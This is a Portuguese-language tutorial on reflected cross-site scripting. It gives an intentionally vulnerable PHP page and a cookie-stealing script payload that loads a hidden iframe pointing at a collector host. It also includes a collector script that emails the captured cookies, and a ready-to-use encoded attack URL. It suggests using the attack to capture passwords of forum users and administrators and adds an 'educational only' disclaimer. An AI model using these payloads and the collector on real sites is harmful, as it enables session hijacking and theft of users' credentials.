Vamos direto ao ponto. Um exemplo de código PHP vulnerável:
<?php
/*
* Um simples exemplo de cookies que geralmente
* são utilizados em sistemas web.
* PHPSESSID -> SID padrão da configuração do PHP
* login e senha -> cookies ficticios
*/
setcookie('PHPSSESID', 'meu_sid');
setcookie('login', 'meu_login');
setcookie('senha', 'minha_senha');
/**
* Parte vulnerável do código: Imprime os dados passados
* pelo usuário sem nenhum tratamento
*/
echo $_GET['var'];
?>
O nosso objetivo
Eis o JavaScript que iremos atravessar para nosso alvo através da variável $_GET['var'], do script PHP acima:
<script>
document.write('<iframe width=1 height=1
src=http://www.coletor.com/rc.php?xss='+document.cookie.replace(/ /g,'')+'></iframe>')
</script>
Breve explicação meio longa
Nosso objetivo é atravessar o JavaScript citado acima mas, em outras palavras, explicando o JavaScript, nosso objetivo é simplesmente capturar os dados de cookie do www.alvo.com e enviar para o www.coletor.com.
Utilizando cookies em JavaScript
A instrução document.cookie retorna os cookies da página HTML. Ou seja, um código <script>alert(document.cookie)</script> no script PHP acima irá produzir o seguinte alerta de saída:
PHPSSESID=meu_sid; login=meu_login; senha=minha_senha
Complementando a instrução com "replace", document.cookie.replace(/ /g,''), iremos remover os caracteres em branco do alerta de saída citado acima. Ou seja, agora teremos:
PHPSSESID=meu_sid;login=meu_login;senha=minha_senha
O coletor de dados
Sob nosso domínio temos o site www.coletor.com, que por sua vez receberá os dados do cookie enviados pelo nosso script através do script rc.php que enviará os dados para meu@email.com:
<?php
if ($_GET['xss']) {
mail('meu@email.com','Dados capturados', $_GET['xss']);
}
?>
Testando
Acesse a URL:
http://www.alvo.com/codigo_vulneravel.php?var=<script>document.write('<iframe%
20width=1%20height=1%20src=http://www.coletor.com/rc.php?xss='%2B
document.cookie.replace(/%20/g,'')%2B'></iframe>')</script>
Nota para tradução da URL:
- %20: Caractere em branco
- %2B: Sinal +
Se nenhum erro do interpretador do JavaScript for acusado em seu navegador, que geralmente é exibido no rodapé da página (ou alertas mais explícitos quando se possui depuradores de JavaScript), verifique o meu@email.com.
Possíveis utilizações
O impacto desse ataque é mais grave em sistemas interativos, como fóruns e webmails. Pois como mostrado, com os dados de cookie é possível capturar senhas de e-mail, de usuários e administradores do fórum vulnerável. Para aqueles que se interessaram por esse artigo recomendo a leitura sobre seqüestro de sessões e do artigo abaixo:
Gostaria de salientar que as informações aqui contidas são de caráter educativo. Não me responsabilizo por sua utilização, ou eventuais dados ao seu sistema ou de terceiros.
Considerações finais
O ambiente de testes desse artigo utiliza a configuração padrão do PHP.